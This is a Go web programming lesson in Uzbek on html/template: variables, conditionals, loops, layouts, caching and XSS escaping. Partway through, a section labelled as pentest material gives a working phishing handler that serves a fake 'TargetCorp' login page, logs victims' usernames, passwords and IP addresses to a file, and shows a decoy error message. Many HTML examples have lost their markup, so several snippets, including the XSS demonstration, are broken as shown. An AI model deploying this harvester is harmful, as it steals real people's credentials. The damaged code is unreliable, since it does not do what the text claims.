# HTML Templates va Server-Side Rendering ## Bu darsda Go'ning `html/template` paketi bilan dinamik HTML sahifalar yaratamiz. Template sintaksisi — o'zgaruvchilar, sikllar, shartlar. Layout tizimi — header/footer bir joyda. XSS'dan avtomatik himoya nima degani. ## html/template va text/template Go'da ikkita template paketi bor. Farqi bir: `html/template` foydalanuvchi kiritgan matnni avtomatik ekranlaydi (escape qiladi), `text/template` esa yo'q. ```go package main import ( "html/template" "os" ) func main() { userInput := `` // html/template — xavfsiz tmpl := template.Must(template.New("t").Parse(`

`)) tmpl.Execute(os.Stdout, userInput) // Natija:

// Script bajarilmaydi! } ``` Web sahifalar uchun har doim `html/template` ishlatiladi. ## Template sintaksisi ### O'zgaruvchilar ```go // Oddiy qiymat tmpl.Execute(w, "Alice") // Templateda: {{.}} → Alice // Struct type User struct{ Name string; Age int } tmpl.Execute(w, User{Name: "Alice", Age: 25}) // Templateda: {{.Name}} is {{.Age}} years old ``` ### Shartlar ```go {{if .IsLoggedIn}} Xush kelibsiz, {{.Username}}! {{else}} Iltimos, tizimga kiring. {{end}} ``` Rol tekshiruvi: ```go {{if eq .Role "admin"}} Admin panel {{else if eq .Role "moderator"}} Moderatsiya {{else}} Profil {{end}} ``` ### Sikllar ```go

{{.Name}} ({{.Age}})
Foydalanuvchilar topilmadi

``` Indeks bilan: ```go {{range $i, $user := .Users}} {{$i}}{{$user.Name}} {{end}} ``` ### O'rnatilgan funksiyalar ```go {{if eq .Status "active"}}faol{{end}} {{if ne .Count 0}}bor{{end}} {{if lt .Age 18}}yoshga{{end}} {{if gt .Score 90}}A daraja{{end}} {{if and .IsLoggedIn .IsVerified}}tekshirilgan{{end}} {{len .Items}} ta element {{printf "Salom, %s!" .Name}} ``` Custom funksiyalar: ```go funcMap := template.FuncMap{ "upper": strings.ToUpper, "formatDate": func(t time.Time) string { return t.Format("02.01.2006") }, } tmpl := template.Must(template.New("t").Funcs(funcMap).Parse(` {{.Name | upper}} — {{formatDate .CreatedAt}} `)) ``` ## Layout tizimi Haqiqiy loyihada header, footer, nav har bir sahifada bir xil bo'ladi. Layout pattern bunga yechim: `templates/layout.html`: ```html {{.Title}}

``` `templates/pages/home.html`: ```html {{define "content"}}

Xush kelibsiz, {{.Username}}!

Yangi xabarlar: {{len .Notifications}} ta

{{end}} ``` Go kodi: ```go func homeHandler(w http.ResponseWriter, r *http.Request) { tmpl := template.Must(template.ParseFiles( "templates/layout.html", "templates/pages/home.html", )) data := struct { Title string Username string Notifications []string }{ Title: "Bosh sahifa", Username: "Alice", Notifications: []string{"Yangi xabar", "Do'stlik so'rovi"}, } tmpl.ExecuteTemplate(w, "layout.html", data) } ``` ## Template caching Har so'rovda `ParseFiles` chaqirish qimmat (disk I/O + parse). Production uchun bir marta parse qilib, saqlab qo'yish kerak: ```go // NOTO'G'RI — har so'rovda parse func handler(w http.ResponseWriter, r *http.Request) { tmpl := template.Must(template.ParseFiles("page.html")) tmpl.Execute(w, data) } // TO'G'RI — bir marta parse, cache'da var tmpl = template.Must(template.ParseFiles("page.html")) func handler(w http.ResponseWriter, r *http.Request) { tmpl.Execute(w, data) } ``` Ko'p template'larni boshqaruvchi manager: ```go type TemplateManager struct { templates map[string]*template.Template mu sync.RWMutex funcMap template.FuncMap } func NewTemplateManager() *TemplateManager { return &TemplateManager{ templates: make(map[string]*template.Template), funcMap: template.FuncMap{ "upper": strings.ToUpper, "formatDate": func(t time.Time) string { return t.Format("02.01.2006") }, }, } } func (tm *TemplateManager) Load(name string, files ...string) error { tm.mu.Lock() defer tm.mu.Unlock() allFiles := append([]string{"templates/layout.html"}, files...) t, err := template.New(name).Funcs(tm.funcMap).ParseFiles(allFiles...) if err != nil { return err } tm.templates[name] = t return nil } func (tm *TemplateManager) Render(w http.ResponseWriter, name string, data interface{}) error { tm.mu.RLock() t, ok := tm.templates[name] tm.mu.RUnlock() if !ok { return fmt.Errorf("template topilmadi: %s", name) } return t.ExecuteTemplate(w, "layout.html", data) } ``` ## Pentest konteksti: credential harvesting sahifasi Pentest paytida phishing sahifasi yaratish uchun Go templates qulay. Bu **faqat ruxsat olingan testlarda** qo'llaniladi: > [!WARNING] > Quyidagi namuna faqat authorized pentest laboratoriyasida ishlatiladi. Ruxsatsiz phishing — jinoyat. ```go // Credential'larni faylga yozuvchi handler type Credential struct { Timestamp string IP string Username string Password string } func fakeLoginHandler(w http.ResponseWriter, r *http.Request) { tmpl := template.Must(template.ParseFiles("templates/fake_login.html")) if r.Method == "GET" { tmpl.Execute(w, map[string]string{"Company": "TargetCorp"}) return } // POST — ma'lumotlarni yig'ish cred := Credential{ Timestamp: time.Now().Format(time.RFC3339), IP: r.RemoteAddr, Username: r.FormValue("username"), Password: r.FormValue("password"), } // Faylga yozish f, _ := os.OpenFile("harvested.jsonl", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600) defer f.Close() data, _ := json.Marshal(cred) f.WriteString(string(data) + "\n") log.Printf("Yig'ildi: %s / %s", cred.Username, cred.IP) // Foydalanuvchiga "xato parol" ko'rsatamiz tmpl.Execute(w, map[string]string{ "Company": "TargetCorp", "Error": "Noto'g'ri login yoki parol", }) } ``` ## XSS xavfsizlik eslatmasi `html/template` avtomatik escaping qiladi, lekin ikkita holat xavfli: ```go // XAVFLI — html/template escaping'ni o'chiradi type MyData struct { Content template.HTML // Bu turdagi qiymatlar ekranlanmaydi! } // TO'G'RI — foydalanuvchi ma'lumoti uchun oddiy string ishlating type MyData struct { Content string // html/template buni avtomatik ekranlaydi } ``` `template.HTML`, `template.JS`, `template.URL` kabi turlar faqat server tomonida yaratilgan, ishonchli matn uchun ishlatiladi. ## Amaliy mashq Blog tizimi yarating: - Layout (nav, footer barcha sahifalarda) - Bosh sahifa — postlar ro'yxati (`range` bilan) - Post sahifasi — bitta post tafsilotlari - Admin panel — yangi post yaratish formasi Template manager'dan foydalanib, barcha template'larni startup'da parse qiling. ## Qisqacha 1. `html/template` — XSS'dan avtomatik himoya. Web uchun har doim shuni ishlating. 2. Template sintaksisi: `{{.}}`, `{{if}}`, `{{range}}`, `{{define}}`, `{{template}}`. 3. Layout pattern — umumiy qismlarni bir joyda saqlash. 4. Production'da template'larni startup'da parse qilib, cache'da saqlang. 5. `template.HTML` — faqat server tomonida yaratilgan ishonchli matn uchun. ## Keyingi qadam Modul 5 tugadi. **Modul 6 — DNS**: internetning "telefon kitobchasi" qanday ishlaydi va Go bilan DNS razvedkasi qanday o'tkaziladi.